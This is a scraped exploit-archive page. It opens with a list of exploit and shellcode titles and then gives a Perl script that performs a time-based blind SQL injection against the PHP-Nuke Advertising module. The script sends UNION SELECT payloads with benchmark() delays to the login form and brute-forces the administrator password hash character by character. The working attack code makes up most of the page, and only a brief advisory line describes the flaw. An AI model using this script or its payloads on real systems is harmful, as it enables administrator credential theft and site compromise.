880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
119 lines
No EOL
2.9 KiB
Perl
Executable file
119 lines
No EOL
2.9 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/26406/info
|
|
|
|
The PHP-Nuke Advertising Module is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
|
|
|
|
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
|
|
|
|
|
|
#!/usr/bin/perl
|
|
#Product: PHP-Nuke Module Advertising
|
|
#BugFounder: 0x90
|
|
#HomePage: WwW.0x90.COM.Ar
|
|
#Problem: Blind SQL Injection
|
|
|
|
|
|
|
|
use strict;
|
|
use warnings;
|
|
use LWP;
|
|
use Time::HiRes;
|
|
use IO::Socket;
|
|
|
|
|
|
my $host = "http://[url]/modules.php?name=Advertising";
|
|
|
|
my $useragent = LWP::UserAgent->new;
|
|
my $metodo = HTTP::Request->new(POST =$host);
|
|
|
|
my $post;
|
|
my $inicio;
|
|
my $risposta;
|
|
my $fine;
|
|
my $tiempodefault;
|
|
my $tiempo;
|
|
my $i;
|
|
my $j;
|
|
my $hash;
|
|
my @array;
|
|
|
|
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
|
|
|
|
|
|
$post="login=a&pass=a&op=client_valid";
|
|
$tiempodefault=richiesta($post);
|
|
$hash="";
|
|
|
|
#QUERY RISULTANTE
|
|
|
|
#SELECT * FROM nuke_banner_clients WHERE login='a' UNION SELECT
|
|
0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`,
|
|
1,1))=112),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE
|
|
`radminsuper`=1/*
|
|
|
|
|
|
for ($i=1;$i<33;$i++)
|
|
{
|
|
for ($j=0;$j<16;$j++)
|
|
{
|
|
$post="login=a' UNION SELECT 0,0,0,0,0,0, IF((ASCII(SUBSTRING(`pwd`," . $i
|
|
. ",1))=".$array[$j]."),benchmark(200000000,CHAR(0)),'falso') FROM
|
|
nuke_authors WHERE `radminsuper`=1/*&pass=a' UNION SELECT 0,0,0,0,0,0,
|
|
IF((ASCII(SUBSTRING(`pwd`," . $i . ",1))=".
|
|
$array[$j]."),benchmark(200000000,CHAR(0)),'falso') FROM nuke_authors WHERE
|
|
`radminsuper`=1/*&op=client_valid";
|
|
$tiempo=richiesta($post);
|
|
aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
|
|
if($tiempo>10)
|
|
{
|
|
$tiempo=richiesta($post);
|
|
aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
|
|
if($tiempo>10)
|
|
{
|
|
$hash .=chr($array[$j]);
|
|
aggiorna($host,$tiempodefault,$j,$hash,$tiempo,$i);
|
|
$j=200;
|
|
}
|
|
}
|
|
|
|
|
|
}
|
|
if($i==1)
|
|
{
|
|
if($hash eq "")
|
|
{
|
|
$i=200;
|
|
print "El atake Fallo\n";
|
|
}
|
|
}
|
|
}
|
|
|
|
print "Atake Terminado\n\n";
|
|
|
|
system("pause");
|
|
|
|
|
|
sub richiesta{
|
|
$post=$_[0];
|
|
$metodo->content_type('application/x-www-form-urlencoded');
|
|
$metodo->content($post);
|
|
$inicio=Time::HiRes::time();
|
|
$risposta=$useragent->request($metodo);
|
|
$risposta->is_success or die "$host : ",$risposta->message,"\n";
|
|
$fine=Time::HiRes::time();
|
|
$tiempo=$fine-$inicio;
|
|
return $tiempo
|
|
}
|
|
|
|
sub aggiorna{
|
|
system("cls");
|
|
@array = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
|
|
print "PHP-Nuke Module Advertising Blind SQL Injection\n";
|
|
print "by 0x90\n";
|
|
print "Visit: WwW.0x90.CoM.Ar\n\n";
|
|
print "Victima : " . $_[0] . "\n";
|
|
print "Tiempo Default : " . $_[1] . " secondi\n";
|
|
print "Hash Bruteforce : " . chr($array[$_[2]]) . "\n";
|
|
print "Bruteforce n Caracter Hash : " . $_[5] . "\n";
|
|
print "Tiempo sql : " . $_[4] . " secondi\n";
|
|
print "Hash : " . $_[3] . "\n";
|
|
} |